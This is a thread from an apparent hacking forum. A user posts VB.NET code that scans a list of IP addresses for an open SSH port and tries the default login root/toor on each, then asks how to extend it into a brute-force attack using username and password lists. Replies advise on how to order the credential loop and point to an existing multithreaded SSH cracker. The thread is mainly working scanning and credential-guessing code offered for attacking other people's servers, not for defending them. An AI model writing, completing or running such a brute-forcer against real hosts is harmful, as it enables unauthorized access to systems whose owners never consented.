Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

.NET 

brute force SSH

hello

i want make brute force With list user and Password For SSH how To Do ?




i Coded This

Code
Imports System.Net.Sockets


Public Class Form1
    Dim thread As System.Threading.Thread
    Dim i As Integer
    Dim TcpPortscan As New TcpClient




    Private Sub OpenFileDialog1_FileOk(ByVal sender As System.Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles OpenFileDialog1.FileOk
        Dim strm As System.IO.Stream
        strm = OpenFileDialog1.OpenFile()
        TextBox2.Text = OpenFileDialog1.FileName.ToString()
        If Not (strm Is Nothing) Then
            strm.Close()
        End If
    End Sub


    Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
        thread = New System.Threading.Thread(AddressOf sharo)

        Me.thread.Start()


    End Sub
    Private Sub sharo()

        For Each line As String In RichTextBox1.Lines

                    TextBox1.Text = line


                    Try

                If My.Computer.Network.Ping(line) Then

                    Try
                        Dim PortOpen As Boolean = TCP_Port_Open(line, Integer.Parse(22))

                        If PortOpen Then

                            Dim connInfo As New Renci.SshNet.PasswordConnectionInfo(TextBox1.Text, "root", "toor")
                            Dim sshClient As New Renci.SshNet.SshClient(connInfo)
                            Using sshClient
                                Try
                                    sshClient.Connect()

                                Catch ex As Exception

                                End Try

                                If Not sshClient Is Nothing AndAlso sshClient.IsConnected Then
                                    ListBox1.Items.Add("ip : " + line + "| " + "Work With : " + "ROOT|ROOT" + Environment.NewLine)

                                    sshClient.Disconnect()
                                Else
                                    ListBox1.Items.Add("ip : " + line + "| " + "NotWork password" + Environment.NewLine)

                                    sshClient.Disconnect()



                                End If
                            End Using
                        Else
                            ListBox1.Items.Add("ip : " + line + "| port  22 not open" + Environment.NewLine)
                        End If


                    Catch ex As Exception

                            End Try


                Else
                            ListBox1.Items.Add("ip : " + line + "| ip not Work" + Environment.NewLine)

                        End If


                    Catch ex As Exception

                    End Try



                Next

        TextBox1.Text = ""
    End Sub


    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        Control.CheckForIllegalCrossThreadCalls = False

    End Sub
    Private Function TCP_Port_Open(ByVal ip As String, ByVal port As Integer) As Boolean
        Dim TcpPortscan As TcpClient = Nothing
        Try
            TcpPortscan = New TcpClient(ip, port)
            Return True
        Catch ex As Exception
            Return False
        Finally
            If TcpPortscan IsNot Nothing Then TcpPortscan.Close()
        End Try
    End Function


End Class


Thnx
I don't think anyone is going to help you. You should try to organize your code and maybe provide the library your using or a reference to it so other can see what problem your having. Your lack of knowledge intrigues me nonetheless be more detailed.
(Dec 8, 2016 06:18 PM)Mr.TwEaK Wrote:  I don't think anyone is going to help you. You should try to organize your code and maybe provide the library your using or a reference to it so other can see what problem your having. Your lack of knowledge intrigues me nonetheless be more detailed.


i have 2 list Of Username And password

When ip Checked Port 22
get Line 1 in user list And Check all password list and When Finish go to line 2 in user list And Check All password

Code
Dim connInfo As New Renci.SshNet.PasswordConnectionInfo(TextBox1.Text, user list, password list)
(Dec 8, 2016 06:47 PM)SharoKurdi Wrote:  i have 2 list Of Username And password

When ip Checked Port 22
get Line 1 in user list And Check all password list and When Finish go to line 2 in user list And Check All password

Code
Dim connInfo As New Renci.SshNet.PasswordConnectionInfo(TextBox1.Text, user list, password list)

You should do a backwards cracker, do each username toward the password. then go to the next user item.
Theres already an ssh cracker made in perl and its multi threaded, not really worth making but gl anyways if you still wanna try it.
Are you purposely trying to make this yourself to market Or just for personal use? Like the user above me stated there is already tool(s) that do this.
[Image: 5Lxbaet.png]
This has never failed me before, https://github.com/sshnet/SSH.NET


Possibly Related Threads...
Thread / Author Replies Views Last Post
[Python] by c0d3dsk1llsJun 19, 2022 10:24 AM 1 194 Jun 19, 2022 10:24 AM
Last Post: Parks
[Python] by airpline1Mar 18, 2020 01:20 PM 8 1,158 Mar 18, 2020 01:20 PM
Last Post: JKHA
[C#] by MathianDec 28, 2018 03:59 AM 9 427 Dec 28, 2018 03:59 AM
Last Post: Mathian